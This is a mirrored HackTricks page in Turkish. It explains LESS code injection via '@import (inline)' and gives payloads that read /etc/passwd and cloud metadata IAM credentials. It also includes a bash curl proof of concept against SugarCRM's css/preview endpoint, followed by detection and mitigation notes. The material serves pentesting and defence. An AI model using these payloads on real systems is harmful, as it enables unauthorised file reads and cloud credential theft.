mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
76 lines
3.9 KiB
Markdown
76 lines
3.9 KiB
Markdown
# LESS Kod Enjeksiyonu ile SSRF ve Yerel Dosya Okuma
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Genel Bakış
|
||
|
||
LESS, değişkenler, mixin'ler, fonksiyonlar ve güçlü `@import` direktifi ekleyen popüler bir CSS ön işleyicisidir. Derleme sırasında LESS motoru, **`@import`** ifadelerinde referans verilen kaynakları **alır** ve `(inline)` seçeneği kullanıldığında bunların içeriklerini sonuçta oluşan CSS'ye gömülü ("inline") olarak ekler.
|
||
|
||
Bir uygulama, **kullanıcı kontrolündeki girişi** daha sonra LESS derleyicisi tarafından işlenen bir dizeye eklediğinde, bir saldırgan **rastgele LESS kodu** enjekte edebilir. Saldırgan, `@import (inline)`'i kötüye kullanarak sunucunun şunları almasını zorlayabilir:
|
||
|
||
* `file://` protokolü aracılığıyla yerel dosyalar (bilgi sızıntısı / Yerel Dosya Dahil Etme).
|
||
* Dahili ağlar veya bulut meta veri hizmetlerindeki uzaktan kaynaklar (SSRF).
|
||
|
||
Bu teknik, **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` uç noktası) gibi gerçek dünya ürünlerinde görülmüştür.
|
||
|
||
## Sömürü
|
||
|
||
1. LESS motoru tarafından işlenen bir stil sayfası dizesine doğrudan gömülü bir parametre belirleyin (örneğin, SugarCRM'deki `?lm=`).
|
||
2. Mevcut ifadeyi kapatın ve yeni direktifler enjekte edin. En yaygın temel ifadeler şunlardır:
|
||
* `;` – önceki bildirimi sonlandırır.
|
||
* `}` – önceki bloğu kapatır (gerekirse).
|
||
3. Rastgele kaynakları okumak için `@import (inline) '<URL>';` kullanın.
|
||
4. İsteğe bağlı olarak, derlenmiş CSS'den alınan içeriğin çıkarılmasını kolaylaştırmak için import'tan sonra bir **işaretçi** (`data:` URI) enjekte edin.
|
||
|
||
### Yerel Dosya Okuma
|
||
```
|
||
1; @import (inline) 'file:///etc/passwd';
|
||
@import (inline) 'data:text/plain,@@END@@'; //
|
||
```
|
||
`/etc/passwd` dosyasının içeriği, `@@END@@` işaretçisinden hemen önce HTTP yanıtında görünecektir.
|
||
|
||
### SSRF – Bulut Metadata
|
||
```
|
||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||
@import (inline) 'data:text/plain,@@END@@'; //
|
||
```
|
||
### Otomatik PoC (SugarCRM örneği)
|
||
```bash
|
||
#!/usr/bin/env bash
|
||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||
|
||
TARGET="$1" # Base URL of SugarCRM instance
|
||
RESOURCE="$2" # file:// path or URL to fetch
|
||
|
||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||
|
||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||
```
|
||
## Tespit
|
||
|
||
* Temizlenmemiş sorgu parametreleri içeren dinamik olarak oluşturulmuş `.less` veya `.css` yanıtlarını arayın.
|
||
* Kod incelemesi sırasında, LESS render fonksiyonlarına geçirilen `"@media all { .preview { ... ${userInput} ... } }"` gibi yapıları arayın.
|
||
* Sömürü girişimleri genellikle `@import`, `(inline)`, `file://`, `http://169.254.169.254` vb. içerir.
|
||
|
||
## Önlemler
|
||
|
||
* Güvenilmeyen verileri LESS derleyicisine **geçmeyin**.
|
||
* Dinamik değerlere ihtiyaç varsa, bunları düzgün bir şekilde **kaçırın**/temizleyin (örneğin, sayısal token'larla sınırlayın, beyaz liste oluşturun).
|
||
* Mümkünse, `(inline)` import kullanımını devre dışı bırakın veya izin verilen protokolleri `https` ile sınırlayın.
|
||
* Bağımlılıkları güncel tutun – SugarCRM bu sorunu 13.0.4 ve 14.0.1 sürümlerinde yamanmıştır.
|
||
|
||
## Gerçek Dünya Vakaları
|
||
|
||
| Ürün | Gü vulnerable Endpoint | Etki |
|
||
|---------|--------------------|--------|
|
||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Kimlik doğrulaması yapılmamış SSRF & yerel dosya okuma |
|
||
|
||
## Referanslar
|
||
|
||
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Kod Enjeksiyon Açığı](https://karmainsecurity.com/KIS-2025-04)
|
||
* [SugarCRM Güvenlik Danışmanlığı SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|